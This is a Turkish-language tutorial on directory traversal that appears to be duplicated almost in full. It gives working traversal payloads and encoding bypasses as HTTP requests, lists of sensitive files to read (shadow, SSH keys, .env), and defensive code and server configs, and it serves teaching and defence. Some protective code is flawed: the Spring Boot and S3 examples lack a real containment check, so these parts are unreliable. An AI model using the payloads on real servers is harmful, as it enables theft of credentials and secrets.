Directory Traversal (Path Traversal) , bir web uygulamasının, kullanıcı tarafından kontrol edilen dosya yollarını yeterince doğrulamadan kullanması sonucu, saldırganın web root dizini dışındaki dosyalara erişmesine olanak tanıyan bir güvenlik zafiyetidir. Saldırgan, bu açık sayesinde hassas sistem dosyalarını okuyabilir, kaynak kodlara erişebilir ve hatta sistemde değişiklik yapabilir.
Directory Traversal Nasıl Çalışır?
Directory traversal, uygulamanın dosya yollarını oluştururken kullanıcı girdisini doğrudan kullanmasıyla oluşur. Saldırgan, ../ (parent directory) karakterlerini kullanarak dosya sisteminde yukarı çıkar ve hedef dosyalara erişir.
Örnek Senaryo:
Bir web uygulaması, kullanıcıya dosya indirme imkanı sunuyor:
text
Sunucu, dosyayı /var/www/html/uploads/rapor.pdf yolundan alıyor. Saldırgan URL'yi şu şekilde değiştirir:
text
Sunucu, dosyayı /var/www/html/uploads/../../../../etc/passwd yolundan almaya çalışır ve /etc/passwd dosyasını döndürür.
Directory Traversal Türleri:
1. Temel Path Traversal
http
GET /download?file=../../../../etc/passwd HTTP/1.1
2. URL Encoding ile Bypass
http
GET /download?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
GET /download?file=..%252F..%252F..%252Fetc%252Fpasswd HTTP/1.1
GET /download?file=..%c0%af..%c0%afetc/passwd HTTP/1.1
3. Unicode Bypass
http
GET /download?file=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc/passwd HTTP/1.1
GET /download?file=..%u002f..%u002fetc/passwd HTTP/1.1
4. Null Byte Bypass (Eski)
http
GET /download?file=../../../../etc/passwd%00.jpg HTTP/1.1
5. Absolute Path
http
GET /download?file=/etc/passwd HTTP/1.1
GET /download?file=C:\Windows\System32\drivers\etc\hosts HTTP/1.1
6. Double Extension
http
GET /download?file=../../../../etc/passwd.jpg HTTP/1.1
Directory Traversal ile Erişilebilecek Hassas Dosyalar:
Linux/Unix:
text
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/etc/resolv.conf
/proc/self/environ
/proc/self/cmdline
/proc/self/fd/
/var/log/apache2/access.log
/var/log/nginx/access.log
/home/user/.bash_history
/root/.ssh/id_rsa
Windows:
text
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\boot.ini
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
C:\Users\Administrator\Desktop\
Web Uygulamaları:
text
/var/www/html/config.php
/var/www/html/.env
/var/www/html/wp-config.php
/var/www/html/settings.py
/web.config
Directory Traversal Nasıl Bulunur? (Test Teknikleri)
A. Manuel Keşif Teknikleri:
Temel Payload'lar:
text
../../../../etc/passwd
../../../../etc/hosts
../../../../proc/self/environ
..\..\..\Windows\win.ini
../../../../windows/win.ini
Farklı Derinlikler:
text
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
URL Encoding:
text
..%2f..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
..%c0%af..%c0%afetc/passwd
Absolute Path:
text
/etc/passwd
C:\Windows\win.ini
Farklı Uzantılar:
text
../../../../etc/passwd.jpg
../../../../etc/passwd.txt
../../../../etc/passwd%00.jpg
Unicode:
text
..%E2%82%A9..%E2%82%A9etc/passwd
..%EF%BC%8F..%EF%BC%8Fetc/passwd
Farklı OS Yolları:
text
../../../../etc/passwd (Unix)
..\..\..\Windows\win.ini (Windows)
../../../../Windows/win.ini (Windows with Unix separator)
B. Otomatik Test Araçları:
Burp Suite: Intruder ile payload listesi
ffuf: Directory traversal fuzzing
Nuclei: Path traversal template'leri
OWASP ZAP: Fuzzing ile traversal testi
dotdotpwn: Özel directory traversal aracı
Directory Traversal Koruma Teknikleri:
1. Path Normalizasyonu ve Validasyonu
python
import os
import re
def safe_file_path(user_input, base_dir):
# 1. Path traversal pattern'lerini temizle
user_input = re.sub(r'\.\./', '', user_input)
user_input = re.sub(r'\.\.\\', '', user_input)
# 2. Sadece izin verilen karakterleri kabul et
if not re.match(r'^[a-zA-Z0-9_\-./]+$', user_input):
raise Exception('Geçersiz dosya adı')
# 3. Absolute path engelle
if user_input.startswith('/') or user_input.startswith('\\'):
raise Exception('Absolute path engellendi')
# 4. Normalize et
full_path = os.path.join(base_dir, user_input)
real_path = os.path.realpath(full_path)
# 5. Base directory içinde mi kontrol et
base_real = os.path.realpath(base_dir)
if not real_path.startswith(base_real):
raise Exception('Dizin dışına çıkış engellendi')
# 6. Dosya mevcut mu kontrol et
if not os.path.exists(real_path):
raise Exception('Dosya bulunamadı')
return real_path
2. Beyaz Liste (Allow List)
python
def safe_file_path_whitelist(user_input, base_dir):
# Sadece belirli dosyalara izin ver
ALLOWED_FILES = [
'rapor.pdf',
'profil.jpg',
'avatar.png'
]
if user_input not in ALLOWED_FILES:
raise Exception('İzin verilmeyen dosya')
full_path = os.path.join(base_dir, user_input)
return full_path
3. Dosya ID Kullanımı (Indirect Reference)
python
import uuid
class FileManager:
def __init__(self):
self.file_map = {}
def upload_file(self, file_content, original_name):
# 1. Benzersiz ID oluştur
file_id = str(uuid.uuid4())
# 2. Gerçek dosya adını gizle
safe_name = f"{file_id}_{original_name}"
# 3. ID ve dosya adını map'le
self.file_map[file_id] = safe_name
# 4. Dosyayı kaydet
with open(f"uploads/{safe_name}", "wb") as f:
f.write(file_content)
return file_id
def get_file_path(self, file_id):
# ID'den dosya adını al
safe_name = self.file_map.get(file_id)
if not safe_name:
raise Exception('Dosya bulunamadı')
# Path traversal riski yok
return f"uploads/{safe_name}"
# Kullanım
file_manager = FileManager()
file_id = file_manager.upload_file(content, "rapor.pdf")
file_path = file_manager.get_file_path(file_id) # Güvenli
4. Framework Güvenli Fonksiyonları
Django:
python
from django.http import FileResponse
from django.core.exceptions import PermissionDenied
def download_file(request, file_id):
try:
# Django'nun güvenli dosya işleme
file_obj = File.objects.get(id=file_id)
# Yetkilendirme kontrolü
if file_obj.user != request.user:
raise PermissionDenied
# Güvenli dosya yolu
file_path = file_obj.file.path
return FileResponse(open(file_path, 'rb'))
except File.DoesNotExist:
raise Http404
Flask:
python
from flask import send_from_directory, abort
@app.route('/download/<filename>')
def download_file(filename):
# Sadece izin verilen karakterleri kontrol et
if not re.match(r'^[a-zA-Z0-9_\-\.]+$', filename):
abort(404)
# send_from_directory path traversal'ı engeller
return send_from_directory('uploads', filename)
Spring Boot (Java):
java
import org.springframework.core.io.Resource;
import org.springframework.core.io.UrlResource;
public Resource loadFileAsResource(String fileName) throws MalformedURLException {
// Path traversal koruması
Path filePath = Paths.get("uploads").resolve(fileName).normalize();
Resource resource = new UrlResource(filePath.toUri());
if(resource.exists()) {
return resource;
} else {
throw new RuntimeException("File not found");
}
}
5. Nginx Yapılandırması
nginx
location /download {
alias /var/www/html/uploads/;
# Path traversal engelle
if ($request_uri ~* "\.\./") {
return 403;
}
# Sadece belirli uzantılara izin ver
if ($request_uri !~* "\.(pdf|jpg|png|gif)$") {
return 403;
}
}
6. Apache Yapılandırması
apache
<Directory /var/www/html/uploads>
# Path traversal engelle
RewriteEngine On
RewriteCond %{REQUEST_URI} \.\./
RewriteRule .* - [F,L]
# Sadece belirli dosyalara izin ver
<Files ~ "\.(pdf|jpg|png)$">
Order Allow,Deny
Allow from all
</Files>
</Directory>
Directory Traversal Kontrol Listesi:
A. Input Validasyonu:
Kullanıcı girdisi doğrulanıyor mu?
../ ve ..\ pattern'leri engelleniyor mu?
Absolute path'ler (/ veya C
engelleniyor mu?
Sadece izin verilen karakterler kabul ediliyor mu?
URL encoding bypass'ları kontrol ediliyor mu?
B. Path Yönetimi:
Path normalizasyonu yapılıyor mu?
Gerçek path base directory içinde mi kontrol ediliyor?
Beyaz liste kullanılıyor mu?
Indirect reference (ID) kullanılıyor mu?
C. Dosya İzinleri:
Dosyalar web root dışında saklanıyor mu?
Dosya izinleri sıkılaştırılmış mı?
Hassas dosyalara (config, .env) erişim engellenmiş mi?
D. Sunucu Yapılandırması:
Nginx/Apache doğru yapılandırılmış mı?
.htaccess dosyaları doğru yapılandırılmış mı?
Directory listing devre dışı mı?
Özel Senaryolar:
1. ZIP Slip (Dosya Sıkıştırma)
Zip dosyalarındaki path traversal saldırısı.
python
import zipfile
import os
def extract_zip_safely(zip_path, extract_to):
with zipfile.ZipFile(zip_path, 'r') as zf:
for member in zf.namelist():
# 1. Path traversal kontrolü
if member.startswith('/') or '..' in member:
raise Exception('ZIP dosyasında güvenlik ihlali')
# 2. Extract
zf.extract(member, extract_to)
2. Log Injection
Dosya adına log injection yaparak directory traversal.
python
def safe_log_file(filename):
# Log dosyası adını temizle
cleaned = re.sub(r'[^a-zA-Z0-9_]', '', filename)
return f"logs/{cleaned}.log"
3. Cloud Storage (S3, GCS)
Bulut depolama kullanırken path traversal riskleri.
python
import boto3
def safe_s3_key(user_input):
# S3 key'ini temizle
# Sadece belirli prefix'ler altında dosyalara izin ver
ALLOWED_PREFIXES = ['uploads/', 'profile/']
if not user_input.startswith(tuple(ALLOWED_PREFIXES)):
raise Exception('İzin verilmeyen dizin')
# Path traversal temizle
cleaned = re.sub(r'\.\./', '', user_input)
return cleaned
Directory Traversal Nasıl Çalışır?
Directory traversal, uygulamanın dosya yollarını oluştururken kullanıcı girdisini doğrudan kullanmasıyla oluşur. Saldırgan, ../ (parent directory) karakterlerini kullanarak dosya sisteminde yukarı çıkar ve hedef dosyalara erişir.
Örnek Senaryo:
Bir web uygulaması, kullanıcıya dosya indirme imkanı sunuyor:
text
Sunucu, dosyayı /var/www/html/uploads/rapor.pdf yolundan alıyor. Saldırgan URL'yi şu şekilde değiştirir:
text
Sunucu, dosyayı /var/www/html/uploads/../../../../etc/passwd yolundan almaya çalışır ve /etc/passwd dosyasını döndürür.
Directory Traversal Türleri:
1. Temel Path Traversal
http
GET /download?file=../../../../etc/passwd HTTP/1.1
2. URL Encoding ile Bypass
http
GET /download?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
GET /download?file=..%252F..%252F..%252Fetc%252Fpasswd HTTP/1.1
GET /download?file=..%c0%af..%c0%afetc/passwd HTTP/1.1
3. Unicode Bypass
http
GET /download?file=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc/passwd HTTP/1.1
GET /download?file=..%u002f..%u002fetc/passwd HTTP/1.1
4. Null Byte Bypass (Eski)
http
GET /download?file=../../../../etc/passwd%00.jpg HTTP/1.1
5. Absolute Path
http
GET /download?file=/etc/passwd HTTP/1.1
GET /download?file=C:\Windows\System32\drivers\etc\hosts HTTP/1.1
6. Double Extension
http
GET /download?file=../../../../etc/passwd.jpg HTTP/1.1
Directory Traversal ile Erişilebilecek Hassas Dosyalar:
Linux/Unix:
text
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/etc/resolv.conf
/proc/self/environ
/proc/self/cmdline
/proc/self/fd/
/var/log/apache2/access.log
/var/log/nginx/access.log
/home/user/.bash_history
/root/.ssh/id_rsa
Windows:
text
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\boot.ini
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
C:\Users\Administrator\Desktop\
Web Uygulamaları:
text
/var/www/html/config.php
/var/www/html/.env
/var/www/html/wp-config.php
/var/www/html/settings.py
/web.config
Directory Traversal Nasıl Bulunur? (Test Teknikleri)
A. Manuel Keşif Teknikleri:
Temel Payload'lar:
text
../../../../etc/passwd
../../../../etc/hosts
../../../../proc/self/environ
..\..\..\Windows\win.ini
../../../../windows/win.ini
Farklı Derinlikler:
text
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
URL Encoding:
text
..%2f..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
..%c0%af..%c0%afetc/passwd
Absolute Path:
text
/etc/passwd
C:\Windows\win.ini
Farklı Uzantılar:
text
../../../../etc/passwd.jpg
../../../../etc/passwd.txt
../../../../etc/passwd%00.jpg
Unicode:
text
..%E2%82%A9..%E2%82%A9etc/passwd
..%EF%BC%8F..%EF%BC%8Fetc/passwd
Farklı OS Yolları:
text
../../../../etc/passwd (Unix)
..\..\..\Windows\win.ini (Windows)
../../../../Windows/win.ini (Windows with Unix separator)
B. Otomatik Test Araçları:
Burp Suite: Intruder ile payload listesi
ffuf: Directory traversal fuzzing
Nuclei: Path traversal template'leri
OWASP ZAP: Fuzzing ile traversal testi
dotdotpwn: Özel directory traversal aracı
Directory Traversal Koruma Teknikleri:
1. Path Normalizasyonu ve Validasyonu
python
import os
import re
def safe_file_path(user_input, base_dir):
# 1. Path traversal pattern'lerini temizle
user_input = re.sub(r'\.\./', '', user_input)
user_input = re.sub(r'\.\.\\', '', user_input)
# 2. Sadece izin verilen karakterleri kabul et
if not re.match(r'^[a-zA-Z0-9_\-./]+$', user_input):
raise Exception('Geçersiz dosya adı')
# 3. Absolute path engelle
if user_input.startswith('/') or user_input.startswith('\\'):
raise Exception('Absolute path engellendi')
# 4. Normalize et
full_path = os.path.join(base_dir, user_input)
real_path = os.path.realpath(full_path)
# 5. Base directory içinde mi kontrol et
base_real = os.path.realpath(base_dir)
if not real_path.startswith(base_real):
raise Exception('Dizin dışına çıkış engellendi')
# 6. Dosya mevcut mu kontrol et
if not os.path.exists(real_path):
raise Exception('Dosya bulunamadı')
return real_path
2. Beyaz Liste (Allow List)
python
def safe_file_path_whitelist(user_input, base_dir):
# Sadece belirli dosyalara izin ver
ALLOWED_FILES = [
'rapor.pdf',
'profil.jpg',
'avatar.png'
]
if user_input not in ALLOWED_FILES:
raise Exception('İzin verilmeyen dosya')
full_path = os.path.join(base_dir, user_input)
return full_path
3. Dosya ID Kullanımı (Indirect Reference)
python
import uuid
class FileManager:
def __init__(self):
self.file_map = {}
def upload_file(self, file_content, original_name):
# 1. Benzersiz ID oluştur
file_id = str(uuid.uuid4())
# 2. Gerçek dosya adını gizle
safe_name = f"{file_id}_{original_name}"
# 3. ID ve dosya adını map'le
self.file_map[file_id] = safe_name
# 4. Dosyayı kaydet
with open(f"uploads/{safe_name}", "wb") as f:
f.write(file_content)
return file_id
def get_file_path(self, file_id):
# ID'den dosya adını al
safe_name = self.file_map.get(file_id)
if not safe_name:
raise Exception('Dosya bulunamadı')
# Path traversal riski yok
return f"uploads/{safe_name}"
# Kullanım
file_manager = FileManager()
file_id = file_manager.upload_file(content, "rapor.pdf")
file_path = file_manager.get_file_path(file_id) # Güvenli
4. Framework Güvenli Fonksiyonları
Django:
python
from django.http import FileResponse
from django.core.exceptions import PermissionDenied
def download_file(request, file_id):
try:
# Django'nun güvenli dosya işleme
file_obj = File.objects.get(id=file_id)
# Yetkilendirme kontrolü
if file_obj.user != request.user:
raise PermissionDenied
# Güvenli dosya yolu
file_path = file_obj.file.path
return FileResponse(open(file_path, 'rb'))
except File.DoesNotExist:
raise Http404
Flask:
python
from flask import send_from_directory, abort
@app.route('/download/<filename>')
def download_file(filename):
# Sadece izin verilen karakterleri kontrol et
if not re.match(r'^[a-zA-Z0-9_\-\.]+$', filename):
abort(404)
# send_from_directory path traversal'ı engeller
return send_from_directory('uploads', filename)
Spring Boot (Java):
java
import org.springframework.core.io.Resource;
import org.springframework.core.io.UrlResource;
public Resource loadFileAsResource(String fileName) throws MalformedURLException {
// Path traversal koruması
Path filePath = Paths.get("uploads").resolve(fileName).normalize();
Resource resource = new UrlResource(filePath.toUri());
if(resource.exists()) {
return resource;
} else {
throw new RuntimeException("File not found");
}
}
5. Nginx Yapılandırması
nginx
location /download {
alias /var/www/html/uploads/;
# Path traversal engelle
if ($request_uri ~* "\.\./") {
return 403;
}
# Sadece belirli uzantılara izin ver
if ($request_uri !~* "\.(pdf|jpg|png|gif)$") {
return 403;
}
}
6. Apache Yapılandırması
apache
<Directory /var/www/html/uploads>
# Path traversal engelle
RewriteEngine On
RewriteCond %{REQUEST_URI} \.\./
RewriteRule .* - [F,L]
# Sadece belirli dosyalara izin ver
<Files ~ "\.(pdf|jpg|png)$">
Order Allow,Deny
Allow from all
</Files>
</Directory>
Directory Traversal Kontrol Listesi:
A. Input Validasyonu:
Kullanıcı girdisi doğrulanıyor mu?
../ ve ..\ pattern'leri engelleniyor mu?
Absolute path'ler (/ veya C
Sadece izin verilen karakterler kabul ediliyor mu?
URL encoding bypass'ları kontrol ediliyor mu?
B. Path Yönetimi:
Path normalizasyonu yapılıyor mu?
Gerçek path base directory içinde mi kontrol ediliyor?
Beyaz liste kullanılıyor mu?
Indirect reference (ID) kullanılıyor mu?
C. Dosya İzinleri:
Dosyalar web root dışında saklanıyor mu?
Dosya izinleri sıkılaştırılmış mı?
Hassas dosyalara (config, .env) erişim engellenmiş mi?
D. Sunucu Yapılandırması:
Nginx/Apache doğru yapılandırılmış mı?
.htaccess dosyaları doğru yapılandırılmış mı?
Directory listing devre dışı mı?
Özel Senaryolar:
1. ZIP Slip (Dosya Sıkıştırma)
Zip dosyalarındaki path traversal saldırısı.
python
import zipfile
import os
def extract_zip_safely(zip_path, extract_to):
with zipfile.ZipFile(zip_path, 'r') as zf:
for member in zf.namelist():
# 1. Path traversal kontrolü
if member.startswith('/') or '..' in member:
raise Exception('ZIP dosyasında güvenlik ihlali')
# 2. Extract
zf.extract(member, extract_to)
2. Log Injection
Dosya adına log injection yaparak directory traversal.
python
def safe_log_file(filename):
# Log dosyası adını temizle
cleaned = re.sub(r'[^a-zA-Z0-9_]', '', filename)
return f"logs/{cleaned}.log"
3. Cloud Storage (S3, GCS)
Bulut depolama kullanırken path traversal riskleri.
python
import boto3
def safe_s3_key(user_input):
# S3 key'ini temizle
# Sadece belirli prefix'ler altında dosyalara izin ver
ALLOWED_PREFIXES = ['uploads/', 'profile/']
if not user_input.startswith(tuple(ALLOWED_PREFIXES)):
raise Exception('İzin verilmeyen dizin')
# Path traversal temizle
cleaned = re.sub(r'\.\./', '', user_input)
return cleaned
🔒 Bu içeriği görmek için giriş yapın